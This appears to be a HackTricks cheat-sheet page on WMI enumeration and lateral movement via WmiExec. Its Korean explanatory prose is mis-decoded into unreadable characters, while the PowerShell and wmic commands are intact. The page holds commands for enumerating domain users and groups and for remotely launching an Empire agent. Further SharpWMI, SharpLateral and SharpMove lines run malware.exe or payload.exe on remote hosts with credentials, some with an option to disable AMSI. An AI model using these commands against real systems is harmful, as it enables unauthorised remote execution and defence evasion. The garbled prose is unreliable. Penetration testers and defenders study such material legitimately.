WmiExec
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๋ ๋ฐฉ์ ์ค๋ช
์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ ๋๋ ํด์๊ฐ ์๋ ค์ง ํธ์คํธ์์ ํ๋ก์ธ์ค๋ฅผ ์ด ์ ์์ต๋๋ค. WMI๋ฅผ ์ฌ์ฉํ์ฌ Wmiexec๊ฐ ๋ช ๋ น์ ์คํํ๋ฉฐ, ๋ฐ๋ํ๋ฉด ์ ธ ๊ฒฝํ์ ์ ๊ณตํฉ๋๋ค.
dcomexec.py: ๋ค์ํ DCOM ์๋ํฌ์ธํธ๋ฅผ ํ์ฉํ์ฌ ์ด ์คํฌ๋ฆฝํธ๋ wmiexec.py์ ์ ์ฌํ ๋ฐ๋ํ๋ฉด ์ ธ์ ์ ๊ณตํ๋ฉฐ, ํนํ ShellBrowserWindow DCOM ๊ฐ์ฒด๋ฅผ ํ์ฉํฉ๋๋ค. ํ์ฌ MMC20, Application, Shell Windows ๋ฐ Shell Browser Window ๊ฐ์ฒด๋ฅผ ์ง์ํฉ๋๋ค. (์ถ์ฒ: Hacking Articles)
WMI ๊ธฐ์ด
๋ค์์คํ์ด์ค
๋๋ ํ ๋ฆฌ ์คํ์ผ์ ๊ณ์ธต ๊ตฌ์กฐ๋ก ๊ตฌ์ฑ๋ WMI์ ์ต์์ ์ปจํ ์ด๋๋ \root์ด๋ฉฐ, ๊ทธ ์๋์ ๋ค์์คํ์ด์ค๋ผ๊ณ ํ๋ ์ถ๊ฐ ๋๋ ํ ๋ฆฌ๊ฐ ์กฐ์ง๋์ด ์์ต๋๋ค. ๋ค์์คํ์ด์ค๋ฅผ ๋์ดํ๋ ๋ช ๋ น:
# Retrieval of Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name
# Enumeration of all namespaces (administrator privileges may be required)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
# Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
๋ค์์คํ์ด์ค ๋ด์ ํด๋์ค๋ฅผ ๋์ดํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํฉ๋๋ค:
gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse
ํด๋์ค
WMI ํด๋์ค ์ด๋ฆ, ์๋ฅผ ๋ค์ด win32_process, ๋ฐ ๊ทธ๊ฒ์ด ์์นํ ๋ค์์คํ์ด์ค๋ฅผ ์๋ ๊ฒ์ ๋ชจ๋ WMI ์์
์ ์ค์ํฉ๋๋ค.
win32๋ก ์์ํ๋ ํด๋์ค๋ฅผ ๋์ดํ๋ ๋ช
๋ น:
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
ํด๋์ค ํธ์ถ:
# Defaults to "root/cimv2" when namespace isn't specified
Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
Methods
Methods, which are one or more executable functions of WMI classes, can be executed.
# Class loading, method listing, and execution
$c = [wmiclass]"win32_share"
$c.methods
# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
# Method listing and invocation
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
WMI ์ด๊ฑฐ
WMI ์๋น์ค ์ํ
WMI ์๋น์ค๊ฐ ์๋ํ๋์ง ํ์ธํ๋ ๋ช ๋ น:
# WMI service status check
Get-Service Winmgmt
# Via CMD
net start | findstr "Instrumentation"
์์คํ ๋ฐ ํ๋ก์ธ์ค ์ ๋ณด
WMI๋ฅผ ํตํด ์์คํ ๋ฐ ํ๋ก์ธ์ค ์ ๋ณด ์์ง:
Get-WmiObject -ClassName win32_operatingsystem | select * | more
Get-WmiObject win32_process | Select Name, Processid
๊ณต๊ฒฉ์์๊ฒ WMI๋ ์์คํ ์ด๋ ๋๋ฉ์ธ์ ๋ํ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ์ด๊ฑฐํ๋ ๊ฐ๋ ฅํ ๋๊ตฌ์ ๋๋ค.
wmic computerystem list full /format:list
wmic process list /format:list
wmic ntdomain list /format:list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
์๊ฒฉ์์ WMI๋ฅผ ํตํด ๋ก์ปฌ ๊ด๋ฆฌ์๋ ๋ก๊ทธ์ธํ ์ฌ์ฉ์์ ๊ฐ์ ํน์ ์ ๋ณด๋ฅผ ์ฟผ๋ฆฌํ๋ ๊ฒ์ ์ ์คํ ๋ช ๋ น ๊ตฌ์ฑ์ผ๋ก ๊ฐ๋ฅํฉ๋๋ค.
์๋ ์๊ฒฉ WMI ์ฟผ๋ฆฌ
์๊ฒฉ ๋จธ์ ์์ ๋ก์ปฌ ๊ด๋ฆฌ์๋ฅผ ์๋ฐํ๊ฒ ์๋ณํ๊ณ ๋ก๊ทธ์ธํ ์ฌ์ฉ์๋ฅผ ํ์ธํ๋ ๊ฒ์ ํน์ WMI ์ฟผ๋ฆฌ๋ฅผ ํตํด ๋ฌ์ฑํ ์ ์์ต๋๋ค. wmic๋ ์ฌ๋ฌ ๋
ธ๋์์ ๋์์ ๋ช
๋ น์ ์คํํ๊ธฐ ์ํด ํ
์คํธ ํ์ผ์์ ์ฝ๋ ๊ฒ๋ ์ง์ํฉ๋๋ค.
WMI๋ฅผ ํตํด ํ๋ก์ธ์ค๋ฅผ ์๊ฒฉ์ผ๋ก ์คํํ๊ธฐ ์ํด, ์๋ฅผ ๋ค์ด Empire ์์ด์ ํธ๋ฅผ ๋ฐฐํฌํ๋ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ ๋ช ๋ น ๊ตฌ์กฐ๊ฐ ์ฌ์ฉ๋๋ฉฐ, ์ฑ๊ณต์ ์ธ ์คํ์ โ0โ์ ๋ฐํ ๊ฐ์ผ๋ก ํ์๋ฉ๋๋ค:
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
์ด ํ๋ก์ธ์ค๋ ์๊ฒฉ ์คํ ๋ฐ ์์คํ ์ด๊ฑฐ๋ฅผ ์ํ WMI์ ๊ธฐ๋ฅ์ ๋ณด์ฌ์ฃผ๋ฉฐ, ์์คํ ๊ด๋ฆฌ ๋ฐ ์นจํฌ ํ ์คํธ ๋ชจ๋์ ๋ํ ์ ์ฉ์ฑ์ ๊ฐ์กฐํฉ๋๋ค.
์๋ ๋๊ตฌ
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command=""C:\\temp\\process.exe [args]"" [amsi=disable] [result=true]
# Stealthier execution with VBS
SharpWMI.exe action=executevbs [computername=HOST[,HOST2,...]] [script-specification] [eventname=blah] [amsi=disable] [time-specs]
SharpMove.exe action=query computername=remote.host.local query="select * from win32_process" username=domain\user password=password
SharpMove.exe action=create computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true username=domain\user password=password
SharpMove.exe action=executevbs computername=remote.host.local eventname=Debug amsi=true username=domain\\user password=password
- **Impacket์
wmiexec**๋ฅผ ์ฌ์ฉํ ์๋ ์์ต๋๋ค.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


